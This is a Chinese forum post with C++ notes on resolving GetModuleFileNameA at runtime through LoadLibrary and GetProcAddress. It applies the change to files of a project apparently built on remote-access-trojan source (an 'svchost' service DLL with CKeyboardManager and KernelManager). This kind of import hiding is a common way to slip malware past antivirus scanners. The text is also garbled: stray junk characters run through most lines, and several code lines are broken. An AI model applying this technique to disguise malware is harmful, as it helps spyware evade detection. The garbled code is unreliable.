返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记) `4 l! S/ H$ V
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h. M6 f2 g* Q8 u( x
----------------------------------------
* H) l# \2 i- ZDTDY.h:- q# w  p% x5 Y& Y
- O6 W" N: B. T; X2 }" x0 d& f' Y0 p
#if _MSC_VER>10005 n( T3 r3 t7 x. o+ G, z; e
#pragma once5 U2 q! `7 H* o3 M9 j- Z8 f5 X9 r
#endif //_MSC_VER>10008 O* p$ B4 ~5 I4 E+ @) u0 I3 |" @% ?
#include<windows.h>
# g, h; s; a9 x" W% Q
0 S) l+ l; W' }; L( C4 e' Dtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);. |+ r+ w3 a: ]" p0 a9 k
class DTDY  y& g# V6 [) T, P0 ]) o& E
{
$ V4 ?* C( b. c5 Opublic:+ r5 X! _. H1 b. |, T; d  X$ x
DTDY();; d6 \  U1 C* W; _
virtual ~DTDY();
, b2 U8 E: L1 t$ d- \public:
% \9 h& y! M# i9 `static pGetModuleFileNameA MyGetModuleFileName;; c/ ~7 S& q$ f* ?" f
static BOOL FunInitiallization();
& `' M7 E3 s, x3 j. U+ I- p; f};$ U+ g5 D9 o" J# P7 O; O# @/ N
#endif  W& V2 B* e# L! B$ i2 x
----------------------------------------
2 D" |; E; ^. q- z
1 `6 g+ G; h( U2 \DTDY.cpp:1 a1 g5 T# h5 ]& P1 w7 z
, t$ \1 J2 W) I; k, X. T1 r+ N' y
#include "DTDY.h"  R3 I; j( y# Q& u
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;: o8 D8 y# l5 s) y4 B
DTDY:TDY()
6 {* p1 u; K4 T3 O! R( V{
5 q7 C4 D* r; M}: U$ |- T) r, v& I& v- e/ O5 L# d
DTDY::~DTDY()
: Z4 ^2 e; W4 s+ t5 T8 k/ v) D! A{
& ~& A! G7 _# h6 Q& L}- c6 V+ m( b9 g) S0 }- Z
BOOL DTDY::FunInitiallization()% x! X5 H- ~" `
{, C% [+ i" R9 X4 n% s4 _
HMODULE hModule=LoadLibrary("kernel32.dll");
- |; T* o; T) e$ S) Y, \MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
+ g* e9 Y( Q8 O; Y0 k9 Tif(!MyGetModuleFileName=) return FALSE;7 e' w8 r. I+ @- E+ m0 T

$ y. m! ~5 w! D) ^; ^return TRUE;
2 P7 A/ q, e+ h}/ f6 J; ?7 h9 _
----------------------------------------1 X0 a8 _. L5 K# A' _7 G
svchost.cpp:
1 Q& J* c& m8 d. Q# ?9 C8 E' n. f. F3 `0 N9 R6 }
#include "DTDY.h"7 u: w1 I3 T4 z/ l
+ n' R! d% o- J* H: v3 _3 Y: D7 c
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)2 y4 v+ F3 r8 L5 R2 {8 T, T
{% v9 k& z* b7 K' A; C
switch(ul_reason_for_call)3 }+ w$ W2 g. q3 e; I: x3 u( d
{
) i+ ~* Q" T, g$ Pcase DLL_PROCESS_ATTACH:0 i5 _% h( ]- n% N# Y) Q
if(!DTDY::FunInitiallization()) return FALSE;/ `2 b0 a1 z, c" H" v
2 K2 g* g0 F4 G; k- s  u1 t; y
break;
7 D0 u0 l# m* n4 S7 ?# B1 j}4 ]% F8 f5 Q, @. X/ y. a
}
# y7 D. N# Q6 S8 q; M4 v4 Z2 p- S+ X6 X* f1 c% r; s- [  z

9 ~8 i7 i# t6 W9 OGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
/ p9 _2 m7 ]0 y/ \改写为
6 {* ^$ B# `' l! E1 f: Z* C0 PDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
' r# i, @3 b2 @----------------------------------------
/ M  @( B, f" }8 _: Y* c9 X  NKernelManager.cpp:
6 d: a. [- i, B# {% ?) z) x' S0 A( e: M4 C' m
#include "../DTDY.h"- y5 _) J) A/ h$ T4 l2 u; U
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  X' `" k# l% N$ L; p1 v改写为, y! Z" j2 j# ?- v- K* o
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
5 M) D0 H% b% m( R1 v+ `----------------------------------------

返回列表